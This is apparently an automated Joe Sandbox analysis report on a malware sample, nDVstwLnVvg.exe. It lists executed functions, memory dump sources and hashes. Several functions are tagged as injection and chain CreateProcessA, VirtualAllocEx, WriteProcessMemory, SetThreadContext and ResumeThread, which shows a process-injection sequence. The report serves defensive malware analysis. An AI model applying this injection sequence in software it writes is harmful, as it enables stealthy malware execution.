Opcode ID: 4409824e41e397f8bd12b3a293b84bb066bca93cc7a675730b69650cc06c1777
Instruction ID: 8a038199ab903db8f0113ff6ee6da56fdcba6b182462da0d424f578a2f4b58f7
Opcode Fuzzy Hash: 4409824e41e397f8bd12b3a293b84bb066bca93cc7a675730b69650cc06c1777
Instruction Fuzzy Hash: 58319674E0121DCBDF64CF6985403BEBAE6AF95310F16C479C659A7254EB30CD81CBA2

Analysis Process: nDVstwLnVvg.exePID: 7836, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	250
Total number of Limit Nodes:	18

Executed Functions

Function 08E8FC4C Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E8FE8E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a376221594613a072642e67e4d492bc9341780db268ffa6088967c52ad601797
Instruction ID: 425ab82ee9c551662ac3a0c23e0d42cab44fc0eed0154c1df5d22819a0a8697a
Opcode Fuzzy Hash: a376221594613a072642e67e4d492bc9341780db268ffa6088967c52ad601797
Instruction Fuzzy Hash: 5F916B72D00219DFDB20DFA8C8417DDBBB2BF49315F1485A9E85CA7280DB749985CF91

Function 08E8FC58 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E8FE8E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b38f432d5ed0361ec909f0230e01038bf9ffe1a8fe0e9e42d640af127cbaca0c
Instruction ID: 64dca52171c27b5c35e4c663f16876385b3b2828aa800c45da192ba02edf4c93
Opcode Fuzzy Hash: b38f432d5ed0361ec909f0230e01038bf9ffe1a8fe0e9e42d640af127cbaca0c
Instruction Fuzzy Hash: FA915A72D00219DFDB20DFA8C840BDDBBB2BF49315F1485AAE85CA7280DB749985CF91

Function 031DB3C1 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7215a89c0ec0c99791737c1c8228b419d3b059d8fe3e4285c2747c4fa4bde4d8
Instruction ID: d15ee00dbe6f1d926149dab3ed06cd30f624a41f636148274cda2bd43ff49ff0
Opcode Fuzzy Hash: 7215a89c0ec0c99791737c1c8228b419d3b059d8fe3e4285c2747c4fa4bde4d8
Instruction Fuzzy Hash: B3815370A04B058FDB24DF29D54079ABBF5FF89300F148A6DE48ADBA50EB74E845CB90

Function 031D590C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 031D59C9

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3543652c88bf4fe7d586c7714ac0874c51e82eb8576b3e2d8fad63d42acc4d0c
Instruction ID: 9b172a59804bae4a1ac7c774f60f3ed16170044190d62270f99800906e66e323
Opcode Fuzzy Hash: 3543652c88bf4fe7d586c7714ac0874c51e82eb8576b3e2d8fad63d42acc4d0c
Instruction Fuzzy Hash: 2341F4B0C00729CBDF18CFA9C884BDDBBB6BF4A304F24805AD419AB251DB755985CF90

Function 031D44F0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 031D59C9

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a01dc177721c3ef4917232eb25f6ec105dada2a16ae337d056fe349bb7ee3ce3
Instruction ID: affb128dc09774cd94f27f8b2a12b824cc31f03a357b914e6bc40d2e3f88daae
Opcode Fuzzy Hash: a01dc177721c3ef4917232eb25f6ec105dada2a16ae337d056fe349bb7ee3ce3
Instruction Fuzzy Hash: A641D4B0C0072DCBDB24DFA9C884BDDBBB6BF49304F24806AD419AB255DBB55945CF90

Function 05834160 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05834221

Memory Dump Source

Source File: 00000007.00000002.1745194594.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5830000_nDVstwLnVvg.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2b5da6fd85610f8c9fbbf521280071dcd3e0119e91e519e5b63e3b657cfd544d
Instruction ID: 96310afa66317830b21581de477f7df5753ec51f4aa7f71c8efc9264c31b1689
Opcode Fuzzy Hash: 2b5da6fd85610f8c9fbbf521280071dcd3e0119e91e519e5b63e3b657cfd544d
Instruction Fuzzy Hash: 764146B8900309CFDB14CF89C449AAABBF5FB98314F24C459E919AB321D774A841CFA0

Function 08E8F9C8 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08E8FA60

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c30544f84df4ed10280f970237ea6098d4e418220dc564c5b491bd7399cd53ab
Instruction ID: 42a4432bb125d9e009bb7cf4e0fb7591554e1d4682b97f6a40406a2c757abad2
Opcode Fuzzy Hash: c30544f84df4ed10280f970237ea6098d4e418220dc564c5b491bd7399cd53ab
Instruction Fuzzy Hash: D32148B2900359DFCB10DFA9C881BEEBBF4FF48324F10842AE558A7250D7789944CBA4

Function 08E8F9D0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08E8FA60

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fc561067dad7a04ec1d317c2b06583bdc9fb7dd67797b122737033b5d76e0b06
Instruction ID: 19542e7aac8efc5aede1bf04e182757923c96495f6684e0f5c87bed4b98daa8a
Opcode Fuzzy Hash: fc561067dad7a04ec1d317c2b06583bdc9fb7dd67797b122737033b5d76e0b06
Instruction Fuzzy Hash: F2212AB2900359DFCB10DFA9C885BDEBBF5FF48324F108429E558A7250D7789554CBA4

Function 08E8FAB9 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E8FB40

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4c7e4102536ca0441249261f612203bdb61d0ab0b72f186eee8cfa3e9791b63f
Instruction ID: a889b95132bc35c413b0492941e88a2018f2e9b61bd6436725274b42260c302e
Opcode Fuzzy Hash: 4c7e4102536ca0441249261f612203bdb61d0ab0b72f186eee8cfa3e9791b63f
Instruction Fuzzy Hash: 0B2128B1C003599FCB10DFAAC881ADEFBF5FF48310F10842AE558A7250C7389944CBA4

Function 031DB3B0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,031DD586,?,?,?,?,?), ref: 031DDA4F

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6914d2b1b6a4e64258333e473603a9229dc84796849d85ed32d63d7de2a7d4ec
Instruction ID: 237d17174592ac00779b687b7379b9a2940ee89e3e0cb77af838d91c4d14ddc3
Opcode Fuzzy Hash: 6914d2b1b6a4e64258333e473603a9229dc84796849d85ed32d63d7de2a7d4ec
Instruction Fuzzy Hash: 1C21E3B5900248EFDB10CF9AD584AEEBBF8EB48310F14841AE918A7350D375A940CFA5

Function 08E8F3F9 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08E8F47E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: cb256ea9f975a96b506a37efb33570ca4f5ae5e053a6b46494b7d48fc33c14ff
Instruction ID: 40fa48911a5fc1b5203eb7601a97031fdb72d035d2682e5505d039893b1f8a38
Opcode Fuzzy Hash: cb256ea9f975a96b506a37efb33570ca4f5ae5e053a6b46494b7d48fc33c14ff
Instruction Fuzzy Hash: 032137B29102099FDB10DFAAC4857EEBBF4EB48324F10842AD459A7241CB789985CFA4

Function 031DD9C1 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,031DD586,?,?,?,?,?), ref: 031DDA4F

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c1b39e40784bfb42c324a69e3dd4e31cf5d7371a3eb9b7459faeda0d7c8e8146
Instruction ID: 056159a5230dc268d8ebdc455e77b863656b36e0a2e0a0732545fcc7454f396d
Opcode Fuzzy Hash: c1b39e40784bfb42c324a69e3dd4e31cf5d7371a3eb9b7459faeda0d7c8e8146
Instruction Fuzzy Hash: 4721E3B5D00258AFDB10CF9AD584ADEBBF8EB48320F14841AE918A3310D375A940CFA5

Function 08E8FAC0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08E8FB40

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7c1baab205c8faee2fdb33b584f06cc57cedd4568d5db53f859e398f2e3c751e
Instruction ID: 18fa96d8ac61a9d5f13078460fb198df6da4d1ed525d212d28ace9ab10d124f6
Opcode Fuzzy Hash: 7c1baab205c8faee2fdb33b584f06cc57cedd4568d5db53f859e398f2e3c751e
Instruction Fuzzy Hash: 672125B1C002599FCB10DFAAC881AEEFBF5FF48320F10842AE558A7250C7389944CBA4

Function 08E8F400 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08E8F47E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 41dc2e803991ad0d791dba002ddf4cbcb4db3432256171334b786550ba9aaf71
Instruction ID: 44a5fe65836ec851a61557b737b67f129dcf5820312e2aff0b9d5c23a9a27e0c
Opcode Fuzzy Hash: 41dc2e803991ad0d791dba002ddf4cbcb4db3432256171334b786550ba9aaf71
Instruction Fuzzy Hash: BE2118B19003099FDB10DFAAC4857EEBBF4EF48324F14842AD459A7251CB789945CFA5

Function 08E8F908 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E8F97E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ad177c7ee3c6f468f718741014166108d34ac559fe02f4043c2e205b5b532a60
Instruction ID: a701041b26c4dca530561acf98e7f14f415194b590a652d29984f637a38bf6af
Opcode Fuzzy Hash: ad177c7ee3c6f468f718741014166108d34ac559fe02f4043c2e205b5b532a60
Instruction Fuzzy Hash: D71159B29002489FCB10DFA9C845BDEFBF5EF88324F108819E559A7250C7359554CFA0

Function 08E8F910 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08E8F97E

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a0d8b5d73f06897a1ecfa39af1ffa4e86db8b3d9c5e33f0d628011402f87616
Instruction ID: efaec49c98255fede5d697d766b940a5afb6f0c1a68a4eec3ac0e2ad98f4feca
Opcode Fuzzy Hash: 2a0d8b5d73f06897a1ecfa39af1ffa4e86db8b3d9c5e33f0d628011402f87616
Instruction Fuzzy Hash: A61126729002499FCB10DFAAC845ADEBBF5EB88324F108419E559A7250CB75A554CFA4

Function 08E8F348 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08E8F3B2

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a64a7394de62cddf8b7ae5df18fa2077884842ba3caf9b0c055df94ed11f571a
Instruction ID: dfc3de3ca54ac45aa576ab61cbbea62c750d06d8678a58abdc42bb1adaeb10b8
Opcode Fuzzy Hash: a64a7394de62cddf8b7ae5df18fa2077884842ba3caf9b0c055df94ed11f571a
Instruction Fuzzy Hash: A71158B1D003488BCB20DFAAC4457DEFBF4AB88324F20842AC019A7250CA389544CFA4

Function 08E8F350 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08E8F3B2

Memory Dump Source

Source File: 00000007.00000002.1747127028.0000000008E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8e80000_nDVstwLnVvg.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2f94274f74c322819dda70d6d5c3d87ca46c3d743459e30806b4412d6d7ee294
Instruction ID: 0f3de13ffeaf48fb9801e78db7688018c980d404665fcbf12967b67a40348b90
Opcode Fuzzy Hash: 2f94274f74c322819dda70d6d5c3d87ca46c3d743459e30806b4412d6d7ee294
Instruction Fuzzy Hash: B71136B1D003488FCB20DFAAC4457DEFBF4EB88324F20842AD459A7250CB79A944CFA4

Function 0773082C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07733875

Memory Dump Source

Source File: 00000007.00000002.1746680682.0000000007730000.00000040.00000800.00020000.00000000.sdmp, Offset: 07730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7730000_nDVstwLnVvg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 405a66a69a8f3c063ff57be8bf238a209424e51c9a5677f9d34e5d4b7ced8a55
Instruction ID: e96c76dfad7609965eb5106c974e58514f0c48a6f69c1f0daebb419f526b7fad
Opcode Fuzzy Hash: 405a66a69a8f3c063ff57be8bf238a209424e51c9a5677f9d34e5d4b7ced8a55
Instruction Fuzzy Hash: 251106B5800349DFDB20DF9AC445BDEBBF8EB48310F108829E554A7211D375A944CFA1

Function 031DB5C0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 031DB626

Memory Dump Source

Source File: 00000007.00000002.1722866572.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_31d0000_nDVstwLnVvg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f0d759997e1e192da3e280b65a53894f170de55cb31f43d6bb214dfb4865b5cb
Instruction ID: 49684f835f52164ce9321b86eb8a8db45d21b83ea261ff8b0c2dbe808d401e18
Opcode Fuzzy Hash: f0d759997e1e192da3e280b65a53894f170de55cb31f43d6bb214dfb4865b5cb
Instruction Fuzzy Hash: BB110FB5C002498FCB10CF9AC444ADEFBF4AB89220F15842AD429B7210C375A545CFA5

Function 07733810 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07733875

Memory Dump Source

Source File: 00000007.00000002.1746680682.0000000007730000.00000040.00000800.00020000.00000000.sdmp, Offset: 07730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7730000_nDVstwLnVvg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e5ad567eddfb71a67fd2539b5bc5e538e67bd61ad7ec21aefbdf97d96bb7fca1
Instruction ID: 1fd1e2d9db16156b1207a6009a34ada18d6144c15f5f8a283fb8bf98cbd08611
Opcode Fuzzy Hash: e5ad567eddfb71a67fd2539b5bc5e538e67bd61ad7ec21aefbdf97d96bb7fca1
Instruction Fuzzy Hash: EC11D3B5800249DFDB20CF99D488BDEBBF4EB48364F10882AE568B7211C375A584CFA1

Function 01A2D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722232011.0000000001A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a2d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2041c280fb73b0a2a786ed2e30def30276266469154ed5cfc816f39d84522c2
Instruction ID: eef11a8faa01b3bb0d4d8418aebf5ec00eefb8df7d77a471187cc2bf613620bb
Opcode Fuzzy Hash: a2041c280fb73b0a2a786ed2e30def30276266469154ed5cfc816f39d84522c2
Instruction Fuzzy Hash: 1921F271504240EFDB05DF6CDAC0B2ABFA5FB88318F24C669E9094B257C376D456CAA2

Function 01A2D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722232011.0000000001A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a2d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c49452b93b073fd865d1a1a04a2c83fdbff3771852a7801b15b32b041e21af83
Instruction ID: b5db2395dd5a8f3b073de8d761a93c465a0e51e81aa614c457064fbf0242be2b
Opcode Fuzzy Hash: c49452b93b073fd865d1a1a04a2c83fdbff3771852a7801b15b32b041e21af83
Instruction Fuzzy Hash: CC214571504200DFDB05DF4CC9C0B66BF65FB88324F24C169E9094F257C336E446CAA1

Function 01A3D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722307586.0000000001A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a3d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d74075fd70cb33a5a8e10ff27ec26e048588db9d05dfcf5e723bc607c547edb
Instruction ID: 475285a7411efe55cfd207972458ab8c72f883995813e8668b848ee3416ecab1
Opcode Fuzzy Hash: 1d74075fd70cb33a5a8e10ff27ec26e048588db9d05dfcf5e723bc607c547edb
Instruction Fuzzy Hash: E2210471504200EFDB05DF98D9C0B26BBA5FBC4324F64C66DF9494B256C736D446CA61

Function 01A3D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722307586.0000000001A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a3d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc75a3cf33d049b20d0de3b420ad2918374635ef068b23cb98ce704abf940c43
Instruction ID: dfc7cd6777b56b4107b1086d04d6e4bd09e6842f18fe998223a78c93dde7d2f3
Opcode Fuzzy Hash: dc75a3cf33d049b20d0de3b420ad2918374635ef068b23cb98ce704abf940c43
Instruction Fuzzy Hash: D4213070604200DFCB11DF68D980B26FFA5FB85B24F64C569E80A4B256C33AC806CA61

Function 01A2D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722232011.0000000001A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a2d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: facc9486bfc9b0d0bb1d71b5632d9ae58c40917509aceb8c247097d740d63b51
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 7A110372404280CFDB06CF58D5C4B16BF71FB84318F24C6A9D8090B257C336D45ACBA1

Function 01A2D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722232011.0000000001A2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a2d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 7a96785233893542646029474c4fc2763535f612db8ac657e1975ea9249fbd50
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: D511E172404280CFDB06CF48D9C4B56BF72FB94324F24C2A9D9090B257C33AE45ACBA1

Function 01A3D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722307586.0000000001A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a3d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2f69409b194401cf9f445e346401dd5dd443926aeef5dc13b787293491958b28
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 9D11D075504280CFDB12CF54D5C4B15FF61FB85724F24C6AAE84A4B656C33AD40ACB61

Function 01A3D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1722307586.0000000001A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1a3d000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6d0233a75c23bbf9b4b3663f138bf722ed667349116255effa7b243b59943876
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 8211BB75504280DFDB02CF94C5C4B15BFA1FB84224F24C6AAE8494B296C33AD40ACB61

Analysis Process: nDVstwLnVvg.exePID: 8044, Parent PID: 7836COMMON

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	12.3%
Total number of Nodes:	57
Total number of Limit Nodes:	10

Executed Functions

Function 0123C530 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 0123F910

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: d64ab4bb251560ed0fc9cdd05d62f5552b3784cde070338f2816c6b66be9a97a
Instruction ID: 8726050fbd0f0e518d3dbfb0cfce43adf82dfad1332137c5d4f436e6814f2eee
Opcode Fuzzy Hash: d64ab4bb251560ed0fc9cdd05d62f5552b3784cde070338f2816c6b66be9a97a
Instruction Fuzzy Hash: 2873F671C10B5A8EDB11EF68C854A99FBB1FF99300F51D69AE44877221EB70AAC4CF41

Function 030B0AB8 Relevance: 3.5, APIs: 2, Instructions: 530
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 030B0D70

Memory Dump Source

Source File: 0000000C.00000002.2908415170.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_30b0000_nDVstwLnVvg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 91b8c9e0de2c19d5d6eb860410d4b03c6f9301b897481a763a9ee3dd83dc661b
Instruction ID: 9f14521c5ff49dc8e75c964664e69eae23859d1814a62941c92d45bc45ef7e5c
Opcode Fuzzy Hash: 91b8c9e0de2c19d5d6eb860410d4b03c6f9301b897481a763a9ee3dd83dc661b
Instruction Fuzzy Hash: E9223874E01219CFDB18DFA9C894BDEBBB2BF88304F1485A9D409AB395DB349985CF50

Function 012327B9 Relevance: 3.2, Strings: 2, Instructions: 691
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 01232CBE
Xbq, xrefs: 01232C95

Memory Dump Source

Source File: 0000000C.00000002.2905674530.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1230000_nDVstwLnVvg.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
